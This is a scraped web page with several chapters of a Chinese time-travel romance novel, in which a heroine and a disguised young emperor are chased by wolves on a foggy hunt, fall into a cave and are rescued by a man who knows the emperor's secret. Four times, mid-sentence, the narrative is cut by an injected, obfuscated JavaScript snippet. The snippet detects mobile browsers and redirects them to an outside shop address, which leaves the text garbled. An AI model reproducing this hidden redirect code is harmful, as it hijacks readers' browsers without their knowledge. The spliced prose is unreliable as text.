董浣浣清了清嗓子提议道:“大家不要一直这么紧张嘛,要不我们唱个歌儿,调节一下气氛吧。” 安齐修听她这么说,笑着道:“也好,那就你来起个头吧。” 董浣浣笑着道:“好啊,那就我来起个头。” 董浣浣清了清嗓子唱道:“走,走,走,走,我们小手拉大手、、、、、、” 一曲歌罢,小柒在董浣浣的背后问道:“小姐,你这是唱的什么歌?” 董浣浣笑着道:“这是你家小姐我自编的歌,怎么样很好听吧。” 嘴里是这么吹着,心里却在默默的向原作者道歉,对不起了前辈,恕小女子无才,借用您的创作来吹牛了,等我以后万一在清朝飞黄腾达了,我一定会在历史上给您留下一笔的。 小柒拍着手十分真诚的笑道:“嗯,嗯,好听又好记,我要学。” 董浣浣笑着回答她道:“好哇,我来教你。”,转头又看向紫鸢道:“紫鸢你也来一起学啊。” 紫鸢本来想要劝她注意点形象,但是当着安齐修的面她什么也不敢说,于是硬着头皮道:“好的,小姐。” 董浣浣一字一句的开始教起学来。 待她们两个都学会了,董浣浣满意的点点头,带着她们一起唱了起来。 经她这么一折腾大家的神经也都放下了,毕竟他们都带着弓箭和火铳了,即使万一遇到了狮子老虎什么的也足以应付。 本来就是为了放松才出来打猎的,弄得大家紧张兮兮的好像是惊弓之鸟一般,那也太不划算了。 “走,走,走,走,一同去郊游。”,三个女生在空荡的大山深处来回飘荡。 唱着唱着董浣浣觉得有点不对劲了,这首儿歌虽然唱起来朗朗上口,可是按照电视剧古代女主角定律,此时她必须要唱一些显得很“文艺”的歌曲才行。 董浣浣转头看向安齐修说:“你有没有觉得我很没有文化?” 安齐修笑笑道:“没有,你这样就好。” 董浣浣从他的口气中,听到以前上学成绩不好时家长给的安慰的话,果然是情人眼里出西施。 她才不信呢。 于是冲着卫苑问道:“卫苑,你有没有觉得我的样子太孩子气了?” 卫苑恭敬的回头,语气认真的道:“不会,浣主子的歌声很是纯真,让我一下子想到了儿时和父亲出门游历的场景。” 董浣浣冲他挥挥手道:“谢谢夸奖,你还是前面带路吧。” 卫苑恭敬的冲她揖了揖手,又转过头去继续他的探路工作了。 对于他们两个的回答,董浣浣撅着嘴很不满,就想到了一直和她不对付的安齐平,想当初她差点没让这个家伙给损死,如今虽然他表面上对她很恭敬,但是让他吹一些彩虹屁,他是肯定做不到的,董浣浣心想。 于是冲着安齐平开口道:“小少爷,你觉得我唱的怎么样啊?” 她本来也没有想要让安齐平的嘴里听到什么好词,令她大感意外的是,安齐平闻言看向她道:“浣儿姐姐这首曲子,让我听出了年少时的童真。” 董浣浣一口鲜血差点没喷出来。 你才多大啊,还让你听出了年少时候的童真。 哼,都是些看在安齐修的面子上,闭着眼睛盲目追捧的的家伙。 不行,她要争气一回,向安齐修证明她也是可以很“知书达理”的,必须在安齐修的面前展示一点她的音律功底,挽回一些她早已丢掉的淑女形象,可是她面临的问题是,她根本没有音律功底啊。 董浣浣左思右想,想到了那首著名的歌谣,邓丽君唱的苏轼的那首有名的词《水调歌头》。 于是开口唱到:“明月几时有、、、、、、” 一曲歌罢,紫鸢在一边使劲鼓掌,这才是她们家小姐该有的风格嘛,刚才那首歌,实在是太孩子气了,心情一激动,便边鼓掌,边赞扬道:“小姐这首曲子特别美妙,宛如天籁。” 其他人也都停住了脚步,仿佛被她的歌声迷住了一样,都停在了那里给她鼓起掌来。 小柒两只眼睛放着光道:“小姐,你好厉害哦,什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815863|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么曲子都会啊。” 董浣浣一听心里美开了话,可是脸上的表情还是淡淡的,冲着紫鸢狡黠的眨了眨眼睛,又看向安齐修,一副等着被表扬的样子。 安齐修看着她这个样子轻笑了一声,然后道:“这首《水调歌头》,你唱出了诗人内心中矛盾又复杂的思念之情。” 董浣浣闻言心里美极了,连安齐修这样知音律的人都这么由衷的认同她,她的心情简直要飘了起来。 “但是”,安齐修接着说:“我觉得第一首曲子更适合你。” 董浣浣不明所以的:“啊?” 安齐修笑笑的解释道:“我只愿你以后永远都不需要体会第二首曲子所要承受的那种矛盾又复杂的感情,我只希望你像第一首曲子那样,永远的开心无忧就好了。” 在他的但是之后,紫鸢本来鼓着掌的手也跟着停了下来。 董浣浣此时不知道自己应该开心还是应该感动,安齐修赞叹了她的歌声,却不想让她拥有那样的感情,他只希望她开开心心的一生无忧。 于是冒着被其他人在心里取笑的风险,董浣浣还是心甘情愿的换回去,开始唱那首儿歌了。 山里的空气真是好啊,董浣浣一边唱着歌,一边从道路两旁采着一些不知名的花儿开始做花环。 紫鸢和小柒看着董浣浣在采花,也纷纷帮着忙一起采花。 大概是他们一路走来都太闹腾的缘故,走了一大段路,他们也没有发现猎物的踪影。 越往山里走,路两边的草越茂密,眼看着也越来越无路可走了,此时天上的雾气也越来越浓,眼看着就伸手不见五指了。 安齐修拉着董浣浣的手,叮嘱她千万别松开了他的手。 依照以前的经验,卫苑的预感很不好,向安齐修征询意见道:“主子,这雾越来越大了,恐怕今天不适合狩猎了,要不我们先出去回到帐篷,等到雾气散了再进来。” 安齐修闻言点了点头道:“看这天气也只能如此了,传令下去,我们先原路返回,待明日雾气散了再从新进山。” 卫苑正想回复,只听见树上的鸟儿突然受了惊,呼呼啦啦的往天上飞。 听声音,有一群什么东西正向他们这面跑来,可惜雾太浓了,他们完全看不到是什么东西。 安齐修听到声音,脸色一凛,本能的手牵着董浣浣的手把她藏到了自己的身后,然后冲着卫苑吩咐道:“看样子是走不了,卫苑你先去探明一下情况。其他人把弓箭和火铳准备好,一定要保证大家的安全。” 董浣浣也被那越来越近的声音给吓着了手本能的攥紧了安齐修的手,安齐修感觉到她的害怕转头来看向她:“别怕,有我在。” 董浣浣深深的点了点头:“嗯。” 然后转头看向紫鸢和小柒:“一定要跟紧我,千万别走散了。” 紫鸢和小柒被吓得有点厉害,小心翼翼的点头道:“知道了,小姐。” 闻言,董浣浣才安心转过头去,往声音的来源去看。 很快负责探明情况的卫苑来报,向他们这边跑来的是一群梅花鹿和野山羊。 原来都是些草食动物啊,董浣浣一颗心放了下来。 随即卫苑话锋一转,它们是被两头狼追赶着往这边跑的。 狼,吃肉的狼。 董浣浣的心又提了起来。 39. 劫后余生 山中的雾气越来越浓,完全没有要散开的迹象。 在这种情况下没有章法的随着动物们乱跑是绝对不行的,大家都安静的呆着等待安齐修的吩咐。 安齐修闻言,镇定的吩咐道:“单良你负责保护好紫鸢和小柒,刘全护好你家主子。大家准备好弓箭和火铳,必要时可以开弓放箭。” 众人皆神色凝重的应道:“是。” 那群动物的速度实在是太快了,安齐修的话音刚落,它们就已经来到面前了。 一群人在茫茫的迷雾当中很快的就被这一群动物给冲的七零八落。 董浣浣被安齐修拉着往一个方向跑,小柒和紫鸢早已没有了踪影。 无奈害怕把狼给招来,大家都不敢大声的呼喊。 卫苑尽职的待在董浣浣和安齐修的身边保护着他们的安全。 不一会儿,往他们这边跑的动物就越来越少了,董浣浣以为他们终于安全了,谁知就在迷雾中看到了一只犀利的眼眸。 这是一只属于狼的眼眸。 待它又走近了一些之后,董浣浣才看清楚,不知道因为什么原因它的另一只眼睛已经瞎掉,堪堪是一只十分凶恶的独眼狼。 那头狼在他们的近处停住,看了看他们。 卫苑挡在安齐修和董浣浣的前面道:“主子,你和浣主子先离开,我随后就到。” 董浣浣一听卫苑要自己对付这头凶狠的野狼,顿时急了,说道:“你一个人怎么可以,这也太危险了,我们三个人在一起它才不敢轻举妄动的。” 董浣浣还想要说什么,就被安齐修打断了:“跟我走。” 董浣浣有些为难的看了一眼卫苑,他们这样丢下卫苑未免也太不仗义了。 安齐修仿佛看出了她的顾虑说道:“你太小看卫苑了,我们待在这里只会是他的累赘而已。” 安齐修和董浣浣解释完,冲着卫苑道:“小心一点,我们在前面等你。” 卫苑点头表示同意了。 安齐修拉着董浣浣先行离开,董浣浣被安齐修拉着边走边不安的回头:“要不,我们还是回去吧,我害怕卫苑会有危险。” 安齐修闻言笑了笑,这个姑娘之所以这么担心,是因为她不知道卫苑的本事。 卫苑可是从小被他爹扔在狼堆里长大的,别的不说擒狼的功夫在大清朝他要是认第二就没有人敢认第一了。 他之所以不让她待在那里帮忙,是不想让她看到卫苑擒狼时候,狼被打的血/腥场面。 安齐修拉着她边走边和她解释了一下卫苑的身手,董浣浣这才放下心来。 已经没有狼追的董浣浣,随后又开始担心另外一个问题了,这头狼,在追着它们在跑,另一头狼不会是在追紫鸢和小柒吧。 一想到这里,董浣浣的眼泪顿时涌满了整个眼眶。 都怪她为什么要带她们出来啊,如果当时不是一时心软,他们现在还只是在山脚下平安的等她回去,而不是像现在一样生死未卜的。 还没等到她的眼泪流出来,董浣浣就不担心紫鸢和小柒了。 按照刚刚卫苑的探查,追逐那一群动物的只有两匹狼。一匹现在正在和卫苑搏斗,而另一匹狼,此刻就在他们的面前。 看到眼前的场景。 董浣浣现在开始担心安齐修和自己了。 安齐修本能把董浣浣护在身后,眼神与狼对峙。 董浣浣养过狗,都说狼是狗的近亲,董浣浣从对狗狗的了解着手,区分出这是一头母狼。 两个人和一头狼就那样你看着我,我看着你的对峙。 突然狼开始行动了,安齐修冲着董浣浣说了一声:“退后”,然后两只脚狠狠的冲着狼头踹去。 随着“撕拉一声”,那头母狼被安齐修踹的老远,脑袋有点懵,安齐修的长袍也被母狼咬出了一个窟窿。 董浣浣看到这种情景,情急之下,掏出火折子把她的斗篷点着冲着那头狼扔了过去。 然后拽起安齐修的手就往前面跑,董浣浣感觉自己使出了吃奶的力气,这辈子都没有跑过这么快过。 那头母狼活动活动脑袋之后,绕过了着了火的斗篷,循着董浣浣的安齐修的气味又追了过来。 眼看着那头狼越追越近,董浣浣觉得她这辈子的好运气好像都要用完了,那头狼追上他们一定会吃了他们的,来报刚才的那一脚之仇。 安齐修看到那头狼越追越近,于是拿出之前准备的火铳冲着那头狼,放了一枪。 不料因为雾气太浓了影响了瞄准度没有打中,安齐修又放了第二枪,结果还是没中。 眼看着那头狼就要到他们跟前了,安齐修正准备放第三枪的时候,只听见董浣浣:“啊”的一声,接着是感觉脚底一个踏空,两人一起掉进了一个山洞里,接着掉下来的还有那头一直对他们穷追不舍的狼。 两人掉下山洞还没来得及缓口气,就看到狼也掉下来了。 董浣浣看到狼掉下来了,心想完了,对那头狼来说这简直是雾中捉鳖,正准备看身边有什么东西可以防卫的,就看到那头狼的脑袋直直的磕在了一个大石块上,当场晕过去了。 一摊狼血顺着石块流向了地面。 董浣浣的一颗心这才算是放进了肚子了。 回头看向她身边的安齐修,发现他刚才掉落的时候,被岩石把身上的衣物都刮破了。 胳膊处还在往外渗血。 董浣浣自己还好,掉下来的地方还算平滑,只是偶尔有点擦破点皮而已,于是赶忙把身上的衣服撕成布条想要给安齐修包扎一下。 安齐修冲着她摆摆手,眼含戾气的看向那头不知道是死过去了还是昏死过去的狼。 从身边随手拿起一块石头,走进那头狼。 在他把石头砸向狼头的那一刹那,董浣浣出声:“等一下”,制止了他。 安齐修转头看向董浣浣,等着她接着说。 董浣浣在他的注视下硬着头皮说道:“我们出发前说过的不杀生,而它只是个未经驯化的畜生而已,吃肉是它的天性,今天的事情它罪不至死,而且是我们闯到它的地盘惊扰了它,况且它现在已经没办法对我们造成威胁了,我们只需要把它带回家给它驯养一番,它定会乖乖听话的。” 安齐修听完她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815864|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,清冷的声音中带着一批疑惑问她:“你想养它?” 董浣浣本来只是缓兵之计,想着它怎么说也是条生命,等安齐修不生气了把它放了就好,现在听到安齐修这么说,只能硬着头皮道:“嗯。” 安齐修闻言看了看董浣浣一眼,收起眼中的戾气,把手里的石块丢到了一边。 他知道此时这条狼已经对他们没有威胁了,就任由董浣浣处置了。 遂转过身去,找了个干净的地方坐下休息。 董浣浣看到安齐修听了她的劝告不准备杀狼了,伸手探了探那个倒在血泊中的母狼,发现它还有鼻息。赶忙撕了块身上的衣裳先把它的头给包上,给它止住血。 害怕它过会万一起来袭击他们,董浣浣又撕了三条带子把母狼的四条腿和一张嘴给绑住。 然后坐回安齐修的旁边,撕开身上的布条开始给安齐修包扎。 董浣浣一边给他包扎,一边心疼,这身上被岩石刮的破破烂烂的,及其狼狈,想他这样的公子哥什么时候受过这样的苦。 越想越替他委屈难受,眼泪止不住的就流了下来。 安齐修看到她的眼泪,心里顿时有点慌了,轻声抚慰她道:“别哭,别哭,你看我这不是好好的嘛。” 董浣浣一听,哭的更大声了,嘴里念叨着:“哪有好好的,你上次差点死了也是这么说的。早知道,我就该劝你不来打什么猎,你也不会受伤,其他人也不会生死未卜。” 安齐修听见她这样说,一把把她拉过来道:“乖,不哭,我们很快就可以出去了,其他人也会安然无恙的。” 董浣浣泪眼婆娑的抬起身,眼睛直勾勾的看着他道:“你保证。” 安齐修双手捧住她的脸,一手一边的拂去她眼中的泪,柔声道:“我保证。” 董浣浣闻言乖乖的点了点头。 随后又吸了吸鼻子,有点委屈的试探道:“你会不会觉得我很没用?” 安齐修把身上的斗篷给她披上,边给她系上带子边说道:“不会,你这样刚好。” 董浣浣闻言,又委屈的说道:“我知道你在安慰我,我这么笨,万一以后你不在我身边,我该怎么办?” 安齐修给她系好了斗篷的带子,轻拍了一下她的头说道:“没有万一,我会一直待在你身边,保护你,照顾你。” 董浣浣抬起两只已经哭的有点红了的眼睛看向安齐修,眼睛里盈着细碎的光,一副楚楚可怜的模样。 安齐修看她这个模样,又轻轻的拍了几下她的头,温柔的说道:“今天雾色太浓,外面的情况太过于复杂,我们先不出去了,你乖乖待在这里,我看看周围有没有什么东西可供我们取暖的。待明日雾散了,我们再寻出路。” 说完起身准备巡视一下这个山洞。 安齐修的设想是,他们随身还带有一点干粮和水,在这里凑合一日不成问题,待明天雾气散了,卫苑自会带人来寻他们的。 董浣浣看着他背影,用手搓了搓鼻尖,整理了一下情绪,冲着安齐修走过去道:“我来帮你吧。” 安齐修转身看向她,语气轻柔的道:“好。” 40. 获救 次日凌晨,山中的雾气终于消散了,朝阳顺着洞口,洒满整个山洞。 一束阳光折射到安齐修的脸上,他动了动眼皮,在山洞中悠悠转醒。 抬起左手遮了遮眼睛,惯性的想要起身,右手却根本抬不起来,才发现原本睡在一旁的董浣浣不知道什么时候,滚到了他的怀里,头此刻正枕着他的胳膊。 安齐修看着躺在他怀里睡的香甜的董浣浣,明明手臂已经变得麻木,却不忍心叫醒她,两只眼睛似一汪清泉就那样一动不动的微笑的看着她。 这是他的姑娘,在不知道他的真实身份,却因他数次陷入困境,还依然信任他,依赖他的姑娘。 她的身上保留着在这个世上他最想拥有的那份最宝贵的纯真。 他要永远守护住她的这份纯真,安齐修看着董浣浣的睡颜笑意渐浓的想。 突然,山洞的上面由远及近发出了一阵踩断青草的脚步声。 安齐修低头聆听,应该是一个人的脚步声,判断出应该不是卫苑带人来寻他们的。 董浣浣此时也醒了,两只手揉着眼睛迷迷糊糊的坐起身刚要说话,嘴巴就被安齐修捂住了。 身上的瞌睡虫还没有完全跑掉的董浣浣,刚起身就遭遇到如此对待,脑子瞬间当机了,瞪着迷茫的大眼睛,愣愣的盯着安齐修的下颚线看。 安齐修低头看了一眼董浣浣此刻傻傻的样子,唇角不自觉的弯了弯,然后又把注意力放到山洞上面的脚步声上了。 那脚步声距离山洞越来越近,最终在山洞口停了下来。 因为他们在山洞的隐蔽处,通过洞口并不能看到他们。 来人在洞口转了一圈,并没有发现洞里的人,只是通过滑落的痕迹,猜测可能有人掉下去了。 “下面有人吗?”,那人冲着洞里喊。 被安齐修捂住嘴的董浣浣此时已经醒透了,支起耳朵仔细的去听那人的声音,发现有点耳熟。 努力回想了一下,董浣浣轻轻拽下安齐修捂住她嘴的手小声的说:“是孟章砚的声音。” 安齐修点头表示赞同:“嗯,是他。” 董浣浣压低声音,小心翼翼的又问:“那我们可以回答他吗?” 安齐修点了点头,然后抬起头冲着上面说到:“是我。” 孟章砚听到安齐修的回话之后,说:“原来是安兄和董小姐啊,你们没受伤吧?” 董浣浣听他这样说很是诧异,她的声音已经压得足够小了,按理说孟章砚是绝对听不到的,他是怎么猜出来她也在这里的呢? 安齐修闻言,并没有像董浣浣一样感到诧异,只是语气平淡的说道:“一点擦伤,无碍。” 听了他的话,孟章砚放下心来,冲着洞口说道:“你们稍等我一下,我去找点东西,救你们上来。” 安齐修闻言,说道:“有劳孟兄了。” 孟章砚闻言,回复了一声:“不客气”,便转身去寻把他们救出来的工具去了。 过了一会一条粗壮的藤条从洞口降了下来,孟章砚的声音从洞口传来:“你们抓住藤条,我把你们拉上来。” 安齐修和董浣浣闻言,走近洞口。 安齐修蹲下身来,对董浣浣说道:“你踩在我的肩膀上,我扶着你,你先上去。” 董浣浣看了看他身上的伤,有些犹豫说道:“可是你的身体能行吗,其实我自己也是可以上去的。” 安齐修看出了她的顾虑,拍了拍自己的肩膀笑着道:“乖,听话。” 董浣浣点头道:“哦。” 董浣浣犹犹豫豫的抓住孟章砚递下来的藤条,小心翼翼的踩在了安齐修的肩膀上,安齐修扶着她的小腿小心翼翼的站起身来。 待董浣浣站直了之后,安齐修冲着洞口道:“可以往上拉了。” 孟章砚闻言,拽住藤条一点一点的往上拉,安齐修双手托着董浣浣的脚,慢慢的把董浣浣送出了山洞。 到了洞口,孟章砚伸出手一把把董浣浣拉到了地面。 接着孟章砚又把藤条递了进去,安齐修用绳子捆住了狼,把狼也送出了洞外。 最后董浣浣和孟章砚合力把安齐修也拉了出来。 刚把安齐修拉出洞外之后,孟章砚就摆出了一副快要累死了的表情,一屁股坐在了旁边的草地上,语气调侃的说道:“今天我也算是安兄和董姑娘的救命恩人了吧。” 董浣浣闻言,赶忙出声道谢:“多谢孟公子的救命之恩,我这厢记下了。” 站在一旁的安齐修拍了拍身上的灰尘,抬眸看向孟章砚:“多谢孟兄施以援手,来日我有什么可以为孟兄效劳的,只要不违背我本心的,定当不负所托。” 孟章砚闻言,一改之前之前玩世不恭的笑脸,一本正经的说道:“安兄,希望你记住今日之言。” 董浣浣站在一旁听着他们打哑谜,听得是一头雾水。 只不过现在她没有心情去深究了,她有一项甚为尴尬的事情亟待解决。 俗话说,人有三急,她想上厕所了。 只不过这荒郊野岭的,又是在两个男人面前她实在是张不了口啊。 安齐修见她一直不说话,转头看了一下她的脸色,心中了然,遂指着面前的藤条向孟章砚问道:“不知孟兄这条藤条是从何而来?” 孟章砚闻言,又看了一眼董浣浣的脸色,心中会意,往西南方向指了一下:“那边有个断崖,断崖前面有个土坡”。 安齐修低头柔声对董浣浣说道:“去吧,我在这里等你,别跑远了。” 董浣浣闻言,脸上瞬间染上了一层绯红,心想这古人的观察力也太厉害了吧,硬着头皮向安齐修回道:“知道了。” 遂冲着那个土坡走去。 待董浣浣一离开,两个带着面具的人,就把面具撕了下来。 安齐修往孟章砚的身边走进了两步,双手置于身后,冷声道:“你是从什么时候知道我的身份的?” 孟章砚抬头看了一眼安齐修,然后手撑着地面站起身来,轻轻拍了拍双手,笑着重复了一下安齐修的话:“是从什么时候,容我想想。” 孟章砚微皱了一下眉头,摆出一副认真思考的模样,然后道:“从见你的第一面起,不对,是您还没有来蒙古,蒙古各部就已经知道了,身为博尔济吉特.吴克善的儿子,我知道那是情理之中的事情。” 安齐修闻言,冷声道:“你们的消息倒真是很灵通。” 孟章砚看了一下安齐修的脸色,脸上带着浅浅的笑意,说道:“你也不能怪我们消息来得太快,主要是十四爷在寒山寺闹的那场刺杀实在是太明目张胆了一些,各地权贵们怕是都了解了几分。” 安齐修闻言脸色又冷了几分。 孟章砚见他不说话,又接着说道:“你的那个侍卫想必此时已经拿到了你想要拿到的东西,我斗胆问一下,接下来你准备怎么处置那个姑娘。” 说完,顺着土坡的方向望过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815865|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安齐修闻言循着他的视线也往土坡的方向望过去,在他们这里自然是看不到土坡背面的董浣浣。 从他登上皇位的那天起,他想要做什么便不必再与人解释,这个人从见他第一面到现在的态度更是越矩,安齐修的目光从土丘的方向转过来,盯着面前的孟章砚道:“你知道仅凭你刚才的那句话,我就可以让你在这个世界上消失吗?” 孟章砚收起脸上的笑意,说道:“这天下都是你的,你当然有这样的权利。” 闻言,安齐修恍若没有这样的一段对话一样,转而回答了孟章砚上面的那个问题:“我说过了,我的生命中就这么一个人,自当是绝对不会放她离开半步。” 孟章砚等他说完之后,两只手相交,置于胸前,神情异常严肃的道:“既然您已经这样认定,我斗胆请您兑现刚才给我的承诺。” 安齐修闻言眯了眯眼睛,语气清冷的说道:“你说。” 孟章砚抬头,语气诚恳而坚定道:“待日后大业完成,务必取消与小妹的婚约,放她自由。” 虽然知道在父亲姑母以及多尔衮的掌控下想要取消安齐修和妹妹的婚约几乎是不可能的,可是他还是想要在做一回自己,他的人生已经被牺牲他不希望他的妹妹重走他的老路,在没有爱的婚姻中苦苦挣扎。 哪怕是只有一线希望,他都愿意去尝试,就让博尔济吉特家的小公主永远绚烂,明亮的生活在这美丽的草原吧。 那深宫中的高墙黛瓦,尔虞我诈不适合她。 安齐修闻言,询问道:“解除婚约,她也这样想?” 这个她自当是指孟章砚的小妹。 孟章砚点了点头。 安齐修闻言,语气平淡的说道:“你可知道,自古君王的婚姻很多都不能如自己所愿。” 孟章砚答道:“我知道,所以我才提出这样的请求。你既然有修身齐家治国平天下的志向,自是不愿到最后连自己的婚姻都无法掌控在自己手中吧。” 安齐修听了他的话,一时无话,两只眼睛死死的盯住孟章砚。 孟章砚迎着安齐修的目光也不退缩,只不过心里却在暗暗赞叹,这个少年已经显露出属于他的王者之气,这么年纪轻轻就能有如此深刻的志向,如果不是事先知道他的身份,他很愿意和他结交为好友。 须臾。 安齐修清了清嗓子道:“激将法在我这里向来是行不行的,不过你有一句话说对了,我的婚约我会掌握在自己手里的。” 待他说完,孟章砚道:“父亲于上月末,奉太后口谕已经动身去京城了。” 安齐修点头:“我知道。” 孟章砚闻言说道:“你知道他们想要商讨什么吗?” 安齐修勾了勾唇角道:“他们想要商讨什么,我想要知道自会知道。” 孟章砚点点头,轻笑道:“有些事您知晓就好,我只希望您记住您今天的承诺。” 安齐修顺着他的目光看过去,就看到董浣浣回来的身影,脸部的线条变得柔和起来,轻声说道:“为了她,我自是会信守承偌。” 孟章砚看着董浣浣越走越近的身影说道:“我师父说了,既然董姑娘这么喜欢左耳,双耳就送给她照顾了。” “左耳?”,安齐修疑惑道。 “就是它”,孟章砚指着那只已经奄奄一息的母狼说道。 安齐修转过头看向孟章砚,两只眼睛眯成了一条缝,语气清冷的说道:“你是阚先明的徒弟?” 41. 回家 孟章砚轻咳了一声,脸上从新挂上了一丝微笑对安齐修说:“真是难得,这天下还有你也不知晓的事情。” 安齐修瞥了孟章砚一眼,语气冷冷的道:“这天下之大,我岂能事事皆知。” 孟章砚闻言,回望了安齐修一眼语气轻快的笑笑道:“很荣幸可以成为那一点点你所不知的存在。” 安齐修闻言冷下一张脸,不说话了。 董浣浣走进他们,直觉告诉她他们之间的气氛真的好奇怪,她离开的这一会儿他们之间肯定是发生了什么事。 孟章砚看见董浣浣回来,转头看向她,脸上的笑容加深了一些道:“既然两位都已经安然无恙的出来了,那么孟某就告辞了。” “告辞?”,董浣浣疑惑:“孟公子不和我们一起走吗?” 孟章砚解释道:“我刚才进山的时候,看到山脚下有人正往这边来寻人,应该就是来寻你们二位的,估计马上就能来到这里,两位在这里稍等片刻就好”,说完又用手指向左前方的树林指了指,“家师就住在那林中深处,我今日特来看望他,就不和你们一起下山了。” 孟章砚说完向安齐修和董浣浣揖了揖手,便告辞了。 董浣浣对着孟章砚回了礼,转头看了一下脸色不好的安齐修。 在心里暗暗的又确认了一遍,他们刚刚绝对是聊了什么她所不知道的事情,并且还聊崩了。 孟章砚走后,很快卫苑便带着单良他们找了过来。 董浣浣远远的看到紫鸢和小柒都毫发无损的样子,才算彻底的放下心来。 小柒一看到董浣浣从老远就开始奔着她的方向跑过来,一脸委屈的表情,直接扑到了董浣浣的怀里,紧紧的抱着董浣浣的腰,又是一阵稀里哗啦的痛哭:“小姐,打猎太不好玩了,我们以后再也不打猎了,吓死我了,我以为这辈子再也见不到你了呢。” 被撞得胸口一疼的董浣浣,有些无奈的轻抚着小柒的头,微笑着安慰道:“别哭了,你看我不是好好的嘛。” 小柒抬眼看了一下董浣浣的表情,什么话也没说,只是接着哭。 那小脑袋在董浣浣的胸口哭的一颤一颤的,煞是可怜。 董浣浣看着她的可怜样,身体里的母性因子被充分的激发出来了,顿时觉得自己肩上的担子更重了。 紫鸢站在她俩旁边,眼眶渐渐的也被泪水充盈,她家小姐太可怜了,这离家出走的一路,根本不是像她设想的那样游山玩水逍遥自在的,一直这样鸡飞狗跳,朝不保夕的。 她也好想上前像小柒那样抱着她家小姐,告诉她:这个江湖太危险了,我们回家吧,可是碍于安齐修站在一边,她只敢待在一边不敢说话。 安齐修看了一眼抱在一起的两个女孩,有些动容,轻咳了一声,转看向旁边的卫苑,然后问道:“其他人都无碍吧?” 卫苑回道:“主子放心,按照昨天您出发前的交代,大家昨天晚上都已经安全的到达了集结地,今天雾散了才出来找您的,小少爷目前正在另一个方向。” 本来低头抚慰小柒的董浣浣,闻言抬起头来看一下安齐修,心里纳闷道:他是怎么预料到他们会遇险的呢? 被她的目光注视下的安齐修,似乎是知道了她的心中所想,给了她一个抚慰的笑容,并没有多做解释。 转头看向卫苑道:“大家没事就好。” 单良待他俩互动完,走上前来看了一眼安齐修的右臂,微微皱了一下眉头,一脸担忧的说道:“主子,您的右手臂无碍吧。” 安齐修闻言,看了一下自己的手臂,其实只是轻微的有些擦伤,小姑娘不懂医术以为很严重,就给他包扎成了这个样子,厚厚的一层,上面系了一个很大的蝴蝶扣,看起来很严重的样子。 安齐修轻笑了一声道:“只不过是一点皮外伤,无碍。大家准备准备,我们回去了。” 小柒闻言松开圈着董浣浣腰部的手,其他人得令也准备回程。 到了山脚下,正好遇到从另一方找寻他们返回的安齐平一行人。 就一起往车边走去。 安齐修走在前面,董浣浣被紫鸢和小柒一左一右的搀扶着走在后面,中间大概有两米左右的距离。 董浣浣此刻完全没有来的时候那份轻松愉悦的春游的情绪了,看着安齐修的背影,有点心疼,有点想哭。 想着是不是她的灾星体质的原因,这个她初见时风度翩翩的公子哥,和她在一起后总是遇到各种各样的麻烦。 这次明明是出来打猎的,到头来却被狼追,搞得如此狼狈的样子,他们也算是独一份了。 她是不是哪天需要去庙里拜拜了,董浣浣想。 一行人到了山脚驻扎地,按照吩咐大家开始收拾东西准备回去。 交代完其他人,安齐修看着扶着董浣浣站在他不远处的紫鸢道:“扶着你家小姐去车上先去帮她换一身行装,顺便给她梳洗一番。” 紫鸢应下,和小柒一左一右的扶着董浣浣去了她们的车上。 董浣浣换完衣服出来的时候,就看到不远处单良正拿出医药箱在给安齐修从新进行了清理和包扎。 上次她虽然也照顾了受伤的安齐修好几天,也给安齐修包扎过,可是对于包扎伤口还是生疏的很。 董浣浣凑上前去旁边伸着头,想着偷点师,以后万一再遇到这样的事情也不至于手足无措。 安齐修看到她,脸带笑意的看了看旁边的位子对她说:“站着累,坐下来看。” 董浣浣依言坐了下来。 单良轻轻的把董浣浣给他包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815866|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎的布取下来,然后拿起旁边水盆里的手巾准备帮他把伤口清理干净。 董浣浣看着安齐修胳膊上的细细碎碎的各种小伤口,手巾沾着水在上面滚过,眉头不自觉的拧了拧。 一定很疼吧,董浣浣想。 